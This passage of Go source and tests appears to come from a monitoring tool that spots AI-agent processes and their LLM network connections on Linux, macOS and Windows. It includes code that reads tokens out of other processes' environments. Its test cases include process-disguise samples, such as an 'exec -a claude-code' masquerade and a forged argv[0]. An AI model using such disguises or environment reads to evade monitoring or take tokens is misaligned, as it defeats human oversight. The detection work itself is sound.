func classifyConn(c connObs, cloud map[string]string, strong, weak map[int]string) (string, bool) {
|
||||
if host, ok := cloud[c.RemoteIP]; ok {
|
||||
return host, true
|
||||
}
|
||||
where := c.RemoteIP
|
||||
if isLocalScope(c.RemoteIP) {
|
||||
where = "local"
|
||||
}
|
||||
if name, ok := strong[c.RemotePort]; ok {
|
||||
return where + ":" + strconv.Itoa(c.RemotePort) + " (" + name + ")", true
|
||||
}
|
||||
if name, ok := weak[c.RemotePort]; ok {
|
||||
return where + ":" + strconv.Itoa(c.RemotePort) + " (" + name + "?)", false
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// procDetail is what the per-pid lookups answer for a process the signature
|
||||
// scan never matched. A STRUCT rather than the tuple this used to be
|
||||
// (user, cmdline, token), because the field added to it is the one field that
|
||||
// must never be confused with the command line: a positional fourth string is
|
||||
// one transposition away from writing argv[0] into Exe, which is the forgery
|
||||
// sanction.go exists to stop. The compiler now refuses that mistake.
|
||||
type procDetail struct {
|
||||
User string
|
||||
Cmdline string
|
||||
Token string
|
||||
// Exe is the KERNEL's executable path for the pid, or "" — see agentObs.Exe.
|
||||
Exe string
|
||||
}
|
||||
|
||||
// mergeConnections folds the network signal into the process snapshot: an
|
||||
// endpoint annotates the agent (or app) that owns the connection, and a
|
||||
// STRONG endpoint on a process the signature scan missed becomes an
|
||||
// "llm-client" observation — the disguised case the network signal exists to
|
||||
// catch. A weak (ambiguous port) endpoint never creates an observation on its
|
||||
// own.
|
||||
//
|
||||
// GUI helpers: a socket held by a Chromium/Electron helper is the
|
||||
// APP's socket. A connection already re-attributed by the caller (ViaHelper)
|
||||
// annotates the app; an unknown `--type=` process found here is a helper only
|
||||
// if its parent runs the same program, and is then attributed up the chain to
|
||||
// the app. A process that merely mentions the flag is an ordinary client.
|
||||
func mergeConnections(byPid map[int]agentObs, conns []connObs, cloud map[string]string,
|
||||
strong, weak map[int]string, info func(int) procDetail, parent func(int) int) {
|
||||
annotate := func(pid int, label string, alone bool) bool {
|
||||
a, ok := byPid[pid]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
if !containsStr(a.LLMEndpoints, label) {
|
||||
a.LLMEndpoints = append(a.LLMEndpoints, label)
|
||||
}
|
||||
// An automation that talks to a model is an agent: the browser
|
||||
// driver was the hands, the model is the head. Only a strong
|
||||
// endpoint promotes — an ambiguous port annotates, as everywhere.
|
||||
if a.Kind == kindAutomation && alone {
|
||||
a.Kind = kindAgent
|
||||
}
|
||||
byPid[pid] = a
|
||||
return true
|
||||
}
|
||||
for _, c := range conns {
|
||||
label, alone := classifyConn(c, cloud, strong, weak)
|
||||
if label == "" {
|
||||
continue
|
||||
}
|
||||
if annotate(c.PID, label, alone) {
|
||||
continue
|
||||
}
|
||||
if !alone {
|
||||
continue
|
||||
}
|
||||
if c.ViaHelper {
|
||||
continue // the caller only rewrites to a root it kept, so this is unreachable; never invent one
|
||||
}
|
||||
d := info(c.PID)
|
||||
user, cmdline, token, exe := d.User, d.Cmdline, d.Token, d.Exe
|
||||
target, kind, sig := c.PID, kindClient, "llm-client"
|
||||
if hasTypeFlag(cmdline) {
|
||||
// Walk up while the parent runs the same program and is itself a
|
||||
// helper; the first same-program non-helper is the app.
|
||||
cur, curCmd := c.PID, cmdline
|
||||
resolved := false
|
||||
for hops := 0; hops < maxHelperHops; hops++ {
|
||||
root := parent(cur)
|
||||
if root <= 1 {
|
||||
break
|
||||
}
|
||||
rd := info(root)
|
||||
if !isGUIHelper(curCmd, rd.Cmdline) {
|
||||
break // not the same program: cur is what it is
|
||||
}
|
||||
if annotate(root, label, alone) {
|
||||
resolved = true
|
||||
break
|
||||
}
|
||||
if !hasTypeFlag(rd.Cmdline) {
|
||||
// The APP is now the observation, so its OWN exe travels
|
||||
// with it. Keeping the helper's would key a mark on a file
|
||||
// that is not the program the row names.
|
||||
target, user, cmdline, token, exe = root, rd.User, rd.Cmdline, rd.Token, rd.Exe
|
||||
kind, sig = kindApp, "gui-app"
|
||||
resolved = true
|
||||
break
|
||||
}
|
||||
cur, curCmd = root, rd.Cmdline
|
||||
}
|
||||
if resolved && target == c.PID {
|
||||
continue // annotated an existing observation up the chain
|
||||
}
|
||||
if !resolved && hasTypeFlag(cmdline) && target == c.PID {
|
||||
// A `--type=` process with no same-program parent (an agent
|
||||
// mentioning the flag, or an unreadable parent): a client.
|
||||
kind, sig = kindClient, "llm-client"
|
||||
}
|
||||
}
|
||||
byPid[target] = agentObs{
|
||||
PID: target, PPID: parent(target), Kind: kind, User: user, Signature: sig,
|
||||
Cmdline: cmdline, Exe: exe, LLMEndpoints: []string{label}, DelegationToken: token,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Linux: `ss -tnpH state established` ─────────────────────────────────────
|
||||
|
||||
// pidFromSSLine extracts the pid from an ss process column: users:(("comm",pid=N,fd=M)).
|
||||
func pidFromSSLine(line string) int {
|
||||
i := strings.Index(line, "pid=")
|
||||
if i < 0 {
|
||||
return 0
|
||||
}
|
||||
rest := line[i+4:]
|
||||
j := 0
|
||||
for j < len(rest) && rest[j] >= '0' && rest[j] <= '9' {
|
||||
j++
|
||||
}
|
||||
pid, _ := strconv.Atoi(rest[:j])
|
||||
return pid
|
||||
}
|
||||
|
||||
// parseSSOutput turns `ss -tnpH state established` into connections. Column 4
|
||||
// is the peer address; the pid rides in the users:(...) column.
|
||||
func parseSSOutput(out string, self int) []connObs {
|
||||
conns := []connObs{}
|
||||
for _, line := range strings.Split(out, "\n") {
|
||||
f := strings.Fields(line)
|
||||
if len(f) < 4 {
|
||||
continue
|
||||
}
|
||||
ip, port, ok := splitHostPortLoose(f[3])
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
pid := pidFromSSLine(line)
|
||||
if pid > 0 && pid != self {
|
||||
conns = append(conns, connObs{PID: pid, RemoteIP: ip, RemotePort: port})
|
||||
}
|
||||
}
|
||||
return conns
|
||||
}
|
||||
|
||||
// ── macOS: `ps` and `lsof` ──────────────────────────────────────────────────
|
||||
|
||||
// parsePSOutput turns `ps -axo pid=,ppid=,user=,args=` into per-pid parent,
|
||||
// user and argv.
|
||||
func parsePSOutput(out string) (map[int]string, map[int][]string, map[int]int) {
|
||||
users := map[int]string{}
|
||||
argvs := map[int][]string{}
|
||||
parents := map[int]int{}
|
||||
for _, line := range strings.Split(out, "\n") {
|
||||
f := strings.Fields(line)
|
||||
if len(f) < 4 {
|
||||
continue
|
||||
}
|
||||
pid, err := strconv.Atoi(f[0])
|
||||
if err != nil || pid <= 0 {
|
||||
continue
|
||||
}
|
||||
ppid, err := strconv.Atoi(f[1])
|
||||
if err != nil || ppid < 0 {
|
||||
continue
|
||||
}
|
||||
parents[pid] = ppid
|
||||
users[pid] = f[2]
|
||||
argvs[pid] = f[3:]
|
||||
}
|
||||
return users, argvs, parents
|
||||
}
|
||||
|
||||
// parseLsofOutput reads lsof's machine-readable field output (-Fpn): a `p<pid>`
|
||||
// line opens a process block, and each following `n<local>-><remote>` line is
|
||||
// one of its connections.
|
||||
func parseLsofOutput(out string, self int) []connObs {
|
||||
conns := []connObs{}
|
||||
pid := 0
|
||||
for _, line := range strings.Split(out, "\n") {
|
||||
if len(line) < 2 {
|
||||
continue
|
||||
}
|
||||
switch line[0] {
|
||||
case 'p':
|
||||
n, err := strconv.Atoi(strings.TrimSpace(line[1:]))
|
||||
if err != nil {
|
||||
pid = 0
|
||||
continue
|
||||
}
|
||||
pid = n
|
||||
case 'n':
|
||||
if pid <= 0 || pid == self {
|
||||
continue
|
||||
}
|
||||
i := strings.Index(line, "->")
|
||||
if i < 0 {
|
||||
continue
|
||||
}
|
||||
ip, port, ok := splitHostPortLoose(line[i+2:])
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
conns = append(conns, connObs{PID: pid, RemoteIP: ip, RemotePort: port})
|
||||
}
|
||||
}
|
||||
return conns
|
||||
}
|
||||
|
||||
// parseEnvTokenSpaced pulls one variable out of `ps -E` output, where the
|
||||
// environment is space-separated rather than NUL-separated. The value ends at
|
||||
// the next whitespace: a token with spaces in it could not survive this, and
|
||||
// the tokens the host mints (del_ + base64url) never contain any.
|
||||
func parseEnvTokenSpaced(s, key string) string {
|
||||
pre := key + "="
|
||||
for _, field := range strings.Fields(s) {
|
||||
if strings.HasPrefix(field, pre) {
|
||||
return field[len(pre):]
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ── Windows: the GetExtendedTcpTable buffers ────────────────────────────────
|
||||
//
|
||||
// Parsed here rather than beside the syscall so the byte layout is under test
|
||||
// on the machine that runs CI. Layouts are the documented MIB structures; the
|
||||
// two row shapes differ enough to be worth separate constants:
|
||||
//
|
||||
// MIB_TCPROW_OWNER_PID (24B): state, localAddr, localPort, remoteAddr, remotePort, pid
|
||||
// MIB_TCP6ROW_OWNER_PID (56B): localAddr[16], localScope, localPort,
|
||||
// remoteAddr[16], remoteScope, remotePort, state, pid
|
||||
//
|
||||
// Both tables are { DWORD dwNumEntries; ROW table[] } with the rows at offset 4.
|
||||
// Ports are DWORDs whose LOW 16 bits hold the port in NETWORK byte order, so
|
||||
// the first two bytes of the little-endian DWORD are the port, big-endian.
|
||||
const (
|
||||
winTCPRow4Size = 24
|
||||
winTCPRow6Size = 56
|
||||
winTCPStateEst = 5 // MIB_TCP_STATE_ESTAB
|
||||
)
|
||||
|
||||
func winPortAt(b []byte) int {
|
||||
if len(b) < 2 {
|
||||
return 0
|
||||
}
|
||||
return int(binary.BigEndian.Uint16(b[:2]))
|
||||
}
|
||||
|
||||
// parseTCPTable decodes an IPv4 or IPv6 owner-pid TCP table into the
|
||||
// established outbound connections owned by other processes.
|
||||
func parseTCPTable(buf []byte, v6 bool, self int) []connObs {
|
||||
conns := []connObs{}
|
||||
if len(buf) < 4 {
|
||||
return conns
|
||||
}
|
||||
n := int(binary.LittleEndian.Uint32(buf[:4]))
|
||||
rowSize := winTCPRow4Size
|
||||
if v6 {
|
||||
rowSize = winTCPRow6Size
|
||||
}
|
||||
for i := 0; i < n; i++ {
|
||||
off := 4 + i*rowSize
|
||||
if off+rowSize > len(buf) {
|
||||
break
|
||||
}
|
||||
row := buf[off : off+rowSize]
|
||||
var state, pid, port int
|
||||
var ip net.IP
|
||||
if v6 {
|
||||
port = winPortAt(row[44:48])
|
||||
state = int(binary.LittleEndian.Uint32(row[48:52]))
|
||||
pid = int(binary.LittleEndian.Uint32(row[52:56]))
|
||||
ip = net.IP(append([]byte(nil), row[24:40]...))
|
||||
} else {
|
||||
state = int(binary.LittleEndian.Uint32(row[0:4]))
|
||||
ip = net.IP(append([]byte(nil), row[12:16]...))
|
||||
port = winPortAt(row[16:20])
|
||||
pid = int(binary.LittleEndian.Uint32(row[20:24]))
|
||||
}
|
||||
if state != winTCPStateEst || pid <= 0 || pid == self || port == 0 {
|
||||
continue
|
||||
}
|
||||
conns = append(conns, connObs{PID: pid, RemoteIP: ip.String(), RemotePort: port})
|
||||
}
|
||||
return conns
|
||||
}
|
||||
|
||||
// parseWinEnvBlock finds one variable in a process environment block read out
|
||||
// of another process: UTF-16LE, NUL-separated entries, terminated by an empty
|
||||
// entry. Bounded by the caller's read; a truncated block simply stops early
|
||||
// rather than erroring, because a missing tag and an unreadable tag lead to
|
||||
// the same conservative outcome (the agent reads as unrequested).
|
||||
func parseWinEnvBlock(b []byte, key string) string {
|
||||
pre := strings.ToUpper(key) + "="
|
||||
u16 := make([]uint16, 0, len(b)/2)
|
||||
for i := 0; i+1 < len(b); i += 2 {
|
||||
u16 = append(u16, uint16(b[i])|uint16(b[i+1])<<8)
|
||||
}
|
||||
start := 0
|
||||
for i := 0; i <= len(u16); i++ {
|
||||
if i == len(u16) || u16[i] == 0 {
|
||||
if i == start {
|
||||
break // empty entry: end of block
|
||||
}
|
||||
entry := string(utf16Runes(u16[start:i]))
|
||||
if len(entry) >= len(pre) && strings.ToUpper(entry[:len(pre)]) == pre {
|
||||
return entry[len(pre):]
|
||||
}
|
||||
start = i + 1
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// utf16Runes decodes a UTF-16 code-unit slice, including surrogate pairs.
|
||||
func utf16Runes(u []uint16) []rune {
|
||||
out := make([]rune, 0, len(u))
|
||||
for i := 0; i < len(u); i++ {
|
||||
c := u[i]
|
||||
if c >= 0xD800 && c < 0xDC00 && i+1 < len(u) && u[i+1] >= 0xDC00 && u[i+1] < 0xE000 {
|
||||
out = append(out, ((rune(c)-0xD800)<<10|(rune(u[i+1])-0xDC00))+0x10000)
|
||||
i++
|
||||
continue
|
||||
}
|
||||
out = append(out, rune(c))
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,744 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestParseEnvToken(t *testing.T) {
|
||||
env := []byte("PATH=/usr/bin\x00PRIVATAE_AGENT_TOKEN=del_abc123\x00HOME=/root\x00")
|
||||
if got := parseEnvToken(env, "PRIVATAE_AGENT_TOKEN"); got != "del_abc123" {
|
||||
t.Errorf("parseEnvToken = %q, want del_abc123", got)
|
||||
}
|
||||
if got := parseEnvToken([]byte("PATH=/usr/bin\x00HOME=/root\x00"), "PRIVATAE_AGENT_TOKEN"); got != "" {
|
||||
t.Errorf("parseEnvToken(absent) = %q, want empty", got)
|
||||
}
|
||||
// must not partial-match a different var ending in the key
|
||||
if got := parseEnvToken([]byte("X_PRIVATAE_AGENT_TOKEN=nope\x00"), "PRIVATAE_AGENT_TOKEN"); got != "" {
|
||||
t.Errorf("parseEnvToken(suffix) = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPidFromSSLine(t *testing.T) {
|
||||
line := `ESTAB 0 0 10.0.0.1:54321 1.2.3.4:443 users:(("python3",pid=12345,fd=7))`
|
||||
if got := pidFromSSLine(line); got != 12345 {
|
||||
t.Errorf("pidFromSSLine = %d, want 12345", got)
|
||||
}
|
||||
if got := pidFromSSLine("ESTAB 0 0 10.0.0.1:1 1.2.3.4:443"); got != 0 {
|
||||
t.Errorf("pidFromSSLine(no proc) = %d, want 0", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBinBase(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"claude": "claude",
|
||||
"/usr/local/bin/claude": "claude",
|
||||
`C:\Program Files\node\node.exe`: "node",
|
||||
`C:/tools/claude.EXE`: "claude",
|
||||
" /opt/x/AIDER ": "aider",
|
||||
"": "",
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := binBase(in); got != want {
|
||||
t.Errorf("binBase(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMatchAgentSignature(t *testing.T) {
|
||||
cases := []struct {
|
||||
argv []string
|
||||
want string
|
||||
ok bool
|
||||
}{
|
||||
{[]string{"claude"}, "claude-code", true},
|
||||
{[]string{"/usr/local/bin/claude", "--resume"}, "claude-code", true},
|
||||
{[]string{"node", "/usr/lib/node_modules/@anthropic-ai/claude-code/cli.js"}, "claude-code", true},
|
||||
{[]string{"aider", "--model", "gpt-4"}, "aider", true},
|
||||
{[]string{"cursor-agent"}, "cursor", true},
|
||||
{[]string{"python3", "-m", "interpreter"}, "open-interpreter", false}, // bare "interpreter" only matches argv0 basename
|
||||
{[]string{"interpreter"}, "open-interpreter", true},
|
||||
{[]string{"sleep", "60"}, "", false},
|
||||
{[]string{"bash"}, "", false},
|
||||
{[]string{"/home/claudefile/script.sh"}, "", false}, // no false positive on a path substring
|
||||
{[]string{"bash", "-c", "echo deploying claude-code now"}, "", false}, // a shell that MENTIONS the marker is NOT an agent
|
||||
{[]string{"sh", "-c", "exec -a claude-code sleep 600"}, "", false}, // ditto — argv0=sh, not an interpreter
|
||||
{[]string{"claude-code"}, "claude-code", true}, // direct binary named claude-code
|
||||
{nil, "", false},
|
||||
|
||||
// Windows: Toolhelp hands back an image name, and the raw command line
|
||||
// arrives as ONE extra element (never tokenized — see agents_windows.go).
|
||||
{[]string{"claude.exe"}, "claude-code", true},
|
||||
{[]string{"node.exe", `"C:\Program Files\nodejs\node.exe" C:\Users\a\AppData\npm\@anthropic-ai\claude-code\cli.js`}, "claude-code", true},
|
||||
{[]string{"node.exe", `"C:\Program Files\nodejs\node.exe" server.js`}, "", false},
|
||||
{[]string{"NOTEPAD.EXE"}, "", false},
|
||||
}
|
||||
for _, c := range cases {
|
||||
got, ok := matchAgentSignature(c.argv)
|
||||
if ok != c.ok || (ok && got != c.want) {
|
||||
t.Errorf("matchAgentSignature(%v) = (%q,%v), want (%q,%v)", c.argv, got, ok, c.want, c.ok)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSplitHostPortLoose(t *testing.T) {
|
||||
cases := []struct {
|
||||
in string
|
||||
ip string
|
||||
port int
|
||||
ok bool
|
||||
}{
|
||||
{"1.2.3.4:443", "1.2.3.4", 443, true},
|
||||
{"[fd00::1]:11434", "fd00::1", 11434, true},
|
||||
{"[::1]:1234", "::1", 1234, true},
|
||||
{"127.0.0.1:11434", "127.0.0.1", 11434, true},
|
||||
{"nonsense", "", 0, false},
|
||||
{"1.2.3.4:0", "", 0, false},
|
||||
{"1.2.3.4:99999", "", 0, false},
|
||||
{"", "", 0, false},
|
||||
}
|
||||
for _, c := range cases {
|
||||
ip, port, ok := splitHostPortLoose(c.in)
|
||||
if ok != c.ok || ip != c.ip || port != c.port {
|
||||
t.Errorf("splitHostPortLoose(%q) = (%q,%d,%v), want (%q,%d,%v)", c.in, ip, port, ok, c.ip, c.port, c.ok)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPortOfAddr(t *testing.T) {
|
||||
cases := map[string]int{
|
||||
"127.0.0.1:11434": 11434,
|
||||
"http://127.0.0.1:8080": 8080,
|
||||
"[::1]:1234": 1234,
|
||||
"localhost:5000/v1": 5000,
|
||||
"11434": 0, // a bare port is not an address
|
||||
"localhost": 0,
|
||||
"": 0,
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := portOfAddr(in); got != want {
|
||||
t.Errorf("portOfAddr(%q) = %d, want %d", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The local-inference tiering is the part most able to cause harm: a wrong
|
||||
// "strong" verdict raises an unrequested-agent alert on a developer running an
|
||||
// ordinary web server on :8080.
|
||||
func TestLocalLLMPortTiers(t *testing.T) {
|
||||
t.Setenv("OLLAMA_ADDR", "")
|
||||
t.Setenv("PRIVATAE_LLM_ADDR", "")
|
||||
strong, weak := localLLMPorts()
|
||||
if strong[11434] == "" {
|
||||
t.Error("11434 must be strong: it is ollama's published default")
|
||||
}
|
||||
if weak[8080] == "" {
|
||||
t.Error("8080 must be WEAK by default — it collides with ordinary web development")
|
||||
}
|
||||
if strong[8080] != "" {
|
||||
t.Error("8080 must not be strong on a box that never declared an inference server there")
|
||||
}
|
||||
|
||||
// Declared by the operator => the same port becomes evidence on its own.
|
||||
t.Setenv("PRIVATAE_LLM_ADDR", "127.0.0.1:8080")
|
||||
strong, weak = localLLMPorts()
|
||||
if strong[8080] == "" {
|
||||
t.Error("a port named by PRIVATAE_LLM_ADDR must be strong — the operator declared it")
|
||||
}
|
||||
if weak[8080] != "" {
|
||||
t.Error("a port promoted to strong must not also remain weak")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyConn(t *testing.T) {
|
||||
cloud := map[string]string{"1.2.3.4": "api.anthropic.com"}
|
||||
strong := map[int]string{11434: "ollama"}
|
||||
weak := map[int]string{8080: "llama.cpp/localai"}
|
||||
|
||||
if label, alone := classifyConn(connObs{RemoteIP: "1.2.3.4", RemotePort: 443}, cloud, strong, weak); label != "api.anthropic.com" || !alone {
|
||||
t.Errorf("cloud endpoint = (%q,%v), want (api.anthropic.com,true)", label, alone)
|
||||
}
|
||||
if label, alone := classifyConn(connObs{RemoteIP: "127.0.0.1", RemotePort: 11434}, cloud, strong, weak); label != "local:11434 (ollama)" || !alone {
|
||||
t.Errorf("known local = (%q,%v), want (local:11434 (ollama),true)", label, alone)
|
||||
}
|
||||
// A LAN GPU box is the same signal as loopback — the address is the user's
|
||||
// choice, the port is the server's default.
|
||||
if label, _ := classifyConn(connObs{RemoteIP: "192.168.1.50", RemotePort: 11434}, cloud, strong, weak); label != "local:11434 (ollama)" {
|
||||
t.Errorf("LAN ollama = %q, want local:11434 (ollama)", label)
|
||||
}
|
||||
if label, alone := classifyConn(connObs{RemoteIP: "127.0.0.1", RemotePort: 8080}, cloud, strong, weak); label == "" || alone {
|
||||
t.Errorf("ambiguous local = (%q,%v), want (non-empty,false)", label, alone)
|
||||
}
|
||||
if label, _ := classifyConn(connObs{RemoteIP: "10.0.0.9", RemotePort: 22}, cloud, strong, weak); label != "" {
|
||||
t.Errorf("ssh = %q, want no classification", label)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMergeConnections(t *testing.T) {
|
||||
cloud := map[string]string{"1.2.3.4": "api.openai.com"}
|
||||
strong := map[int]string{11434: "ollama"}
|
||||
weak := map[int]string{8080: "llama.cpp/localai"}
|
||||
info := func(pid int) procDetail {
|
||||
return procDetail{User: "user", Cmdline: "some-cmd", Exe: "/opt/x/some-cmd"}
|
||||
}
|
||||
noParent := func(int) int { return 0 }
|
||||
|
||||
// A strong endpoint on an unknown process CREATES the disguised-agent observation.
|
||||
byPid := map[int]agentObs{}
|
||||
mergeConnections(byPid, []connObs{{PID: 7, RemoteIP: "127.0.0.1", RemotePort: 11434}}, cloud, strong, weak, info, noParent)
|
||||
if a, ok := byPid[7]; !ok || a.Signature != "llm-client" || a.User != "user" || a.Kind != kindClient {
|
||||
t.Fatalf("a strong local endpoint must create an llm-client observation, got %+v", byPid)
|
||||
}
|
||||
|
||||
// A WEAK endpoint on an unknown process must NOT — this is the alarm-noise wall.
|
||||
byPid = map[int]agentObs{}
|
||||
mergeConnections(byPid, []connObs{{PID: 8, RemoteIP: "127.0.0.1", RemotePort: 8080}}, cloud, strong, weak, info, noParent)
|
||||
if len(byPid) != 0 {
|
||||
t.Fatalf("an ambiguous port must never promote an unknown process, got %+v", byPid)
|
||||
}
|
||||
|
||||
// ...but it DOES annotate a process the signature scan already matched.
|
||||
byPid = map[int]agentObs{9: {PID: 9, Signature: "aider"}}
|
||||
mergeConnections(byPid, []connObs{{PID: 9, RemoteIP: "127.0.0.1", RemotePort: 8080}}, cloud, strong, weak, info, noParent)
|
||||
if len(byPid[9].LLMEndpoints) != 1 {
|
||||
t.Fatalf("an ambiguous port must annotate a known agent, got %+v", byPid[9])
|
||||
}
|
||||
|
||||
// Endpoints de-duplicate across many connections to the same place.
|
||||
byPid = map[int]agentObs{9: {PID: 9, Signature: "aider"}}
|
||||
mergeConnections(byPid, []connObs{
|
||||
{PID: 9, RemoteIP: "1.2.3.4", RemotePort: 443},
|
||||
{PID: 9, RemoteIP: "1.2.3.4", RemotePort: 443},
|
||||
}, cloud, strong, weak, info, noParent)
|
||||
if got := byPid[9].LLMEndpoints; len(got) != 1 || got[0] != "api.openai.com" {
|
||||
t.Fatalf("endpoints must de-duplicate, got %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ── Linux ───────────────────────────────────────────────────────────────────
|
||||
|
||||
// Fixture copied from real `ss -tnpH state established` output. Filtering by
|
||||
// state makes ss OMIT the State column, so the peer is field 3, not field 4 —
|
||||
// the reason this parser is pinned by a test rather than eyeballed.
|
||||
func TestParseSSOutput(t *testing.T) {
|
||||
out := `0 0 10.0.0.1:54321 1.2.3.4:443 users:(("claude",pid=111,fd=7))
|
||||
0 0 [fd00::2]:5555 [fd00::1]:11434 users:(("python3",pid=222,fd=9))
|
||||
0 0 10.0.0.1:1 10.0.0.2:22
|
||||
0 0 10.0.0.1:2 10.0.0.3:443 users:(("self",pid=999,fd=3))`
|
||||
conns := parseSSOutput(out, 999)
|
||||
if len(conns) != 2 {
|
||||
t.Fatalf("want 2 (no-pid line and self dropped), got %d: %+v", len(conns), conns)
|
||||
}
|
||||
if conns[0].PID != 111 || conns[0].RemoteIP != "1.2.3.4" || conns[0].RemotePort != 443 {
|
||||
t.Errorf("v4 row = %+v", conns[0])
|
||||
}
|
||||
if conns[1].PID != 222 || conns[1].RemoteIP != "fd00::1" || conns[1].RemotePort != 11434 {
|
||||
t.Errorf("v6 row = %+v", conns[1])
|
||||
}
|
||||
}
|
||||
|
||||
// ── macOS ───────────────────────────────────────────────────────────────────
|
||||
|
||||
func TestParsePSOutput(t *testing.T) {
|
||||
out := ` 501 400 user /usr/local/bin/claude --resume
|
||||
502 1 root /usr/bin/node /opt/x/@anthropic-ai/claude-code/cli.js
|
||||
1 0 root /sbin/launchd
|
||||
junk`
|
||||
users, argvs, parents := parsePSOutput(out)
|
||||
if users[501] != "user" || len(argvs[501]) != 2 || argvs[501][0] != "/usr/local/bin/claude" {
|
||||
t.Fatalf("pid 501 = %q %v", users[501], argvs[501])
|
||||
}
|
||||
if parents[501] != 400 || parents[502] != 1 {
|
||||
t.Fatalf("parents = %v, want 501->400 and 502->1", parents)
|
||||
}
|
||||
if sig, ok := matchAgentSignature(argvs[502]); !ok || sig != "claude-code" {
|
||||
t.Errorf("interpreter-wrapped agent from ps = (%q,%v)", sig, ok)
|
||||
}
|
||||
if _, ok := argvs[0]; ok {
|
||||
t.Error("a malformed line must not produce a pid")
|
||||
}
|
||||
}
|
||||
|
||||
// ── the kernel's executable path (sanitizeExePath, parseProcargs2ExePath) ────
|
||||
|
||||
// The rule every platform's procExe answers through: ABSOLUTE OR EMPTY, and
|
||||
// Linux's " (deleted)" marker stripped.
|
||||
//
|
||||
// The deleted case is measured, not assumed: a running binary here read
|
||||
// "/tmp/x/sleepy" before `rm` and "/tmp/x/sleepy (deleted)" after. Keeping the
|
||||
// suffix would silently un-mark a running agent the moment its package updated
|
||||
// in place, which is the shape of control people stop using.
|
||||
//
|
||||
// MUTATION: drop the TrimSuffix for " (deleted)".
|
||||
// RESULT: red — the same running program produced two different identities
|
||||
// either side of an in-place update.
|
||||
// MUTATION: return s unchanged instead of "" when !isAbsExePath(s).
|
||||
// RESULT: red — "claude" (a relative exec) became an identity that any process
|
||||
// started from any directory could match.
|
||||
func TestSanitizeExePath(t *testing.T) {
|
||||
for _, c := range []struct{ in, want string }{
|
||||
{"/usr/local/bin/claude", "/usr/local/bin/claude"},
|
||||
{"/tmp/x/sleepy (deleted)", "/tmp/x/sleepy"},
|
||||
{`C:\Program Files\Claude\claude.exe`, `C:\Program Files\Claude\claude.exe`},
|
||||
{`\\fileserver\tools\claude.exe`, `\\fileserver\tools\claude.exe`},
|
||||
{" /usr/bin/node ", "/usr/bin/node"},
|
||||
// Not identities: they name a file only against a working directory
|
||||
// nobody recorded, so two processes started from different places would
|
||||
// share one. Dropped to "" — unmarkable, which is the safe direction.
|
||||
{"claude", ""},
|
||||
{"./bin/claude", ""},
|
||||
{"../claude", ""},
|
||||
{"", ""},
|
||||
{" ", ""},
|
||||
// A relative path that merely LOOKS absolute on the other platform's
|
||||
// convention is still relative. binBase (agents_parse.go:18-21) records
|
||||
// why filepath.* cannot be used for this.
|
||||
{`Program Files\claude.exe`, ""},
|
||||
{"C:claude.exe", ""}, // drive-relative: no separator after the colon
|
||||
} {
|
||||
if got := sanitizeExePath(c.in); got != c.want {
|
||||
t.Errorf("sanitizeExePath(%q) = %q, want %q", c.in, got, c.want)
|
||||
}
|
||||
}
|
||||
// A path past any kernel's own limit is REFUSED, not cut down: two
|
||||
// executables under one long directory would truncate to the same string
|
||||
// and become one identity, which is a collision in the field whose whole
|
||||
// job is telling programs apart.
|
||||
//
|
||||
// MUTATION: `return s[:4096]` instead of "" for an over-long path.
|
||||
// RESULT: red — a path this machine could not have produced became an
|
||||
// identity, and two of them would have become the same one.
|
||||
long := "/" + strings.Repeat("a", 5000)
|
||||
if got := sanitizeExePath(long); got != "" {
|
||||
t.Errorf("a %d-character path became an identity of %d characters", len(long), len(got))
|
||||
}
|
||||
if got := sanitizeExePath("/" + strings.Repeat("a", 4095)); got == "" {
|
||||
t.Error("a 4096-character path is inside Linux's own PATH_MAX and must be kept")
|
||||
}
|
||||
}
|
||||
|
||||
// macOS: the kernel's saved executable path is the first string after argc in a
|
||||
// KERN_PROCARGS2 blob, and `ps -o comm=` cannot answer this question because it
|
||||
// SKIPS that string to reach argv[0] (adv_cmds ps/print.c, getproclline).
|
||||
//
|
||||
// The fixture is built the way the kernel lays it out: argc, the exec path, the
|
||||
// NUL padding it is aligned with, then argv[0] — which is given a DIFFERENT
|
||||
// value on purpose, because reading argv[0] by mistake is the bug this parser
|
||||
// exists to avoid and a fixture where they matched could not catch it.
|
||||
//
|
||||
// MUTATION: return the SECOND string instead of the first (skip past the exec
|
||||
// path, as ps does).
|
||||
// RESULT: red — the parser returned /home/user/.local/bin/claude, the forged
|
||||
// argv[0], instead of the file the kernel loaded.
|
||||
func TestParseProcargs2ExePath(t *testing.T) {
|
||||
blob := func(argc int32, strs ...string) []byte {
|
||||
b := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(b, uint32(argc))
|
||||
for i, s := range strs {
|
||||
b = append(b, []byte(s)...)
|
||||
b = append(b, 0)
|
||||
if i == 0 {
|
||||
b = append(b, 0, 0, 0) // the kernel pads the exec path for alignment
|
||||
}
|
||||
}
|
||||
return b
|
||||
}
|
||||
got := parseProcargs2ExePath(blob(2, "/usr/bin/sleep",
|
||||
"/home/user/.local/bin/claude", "25"))
|
||||
if got != "/usr/bin/sleep" {
|
||||
t.Errorf("parseProcargs2ExePath = %q, want the kernel's /usr/bin/sleep — "+
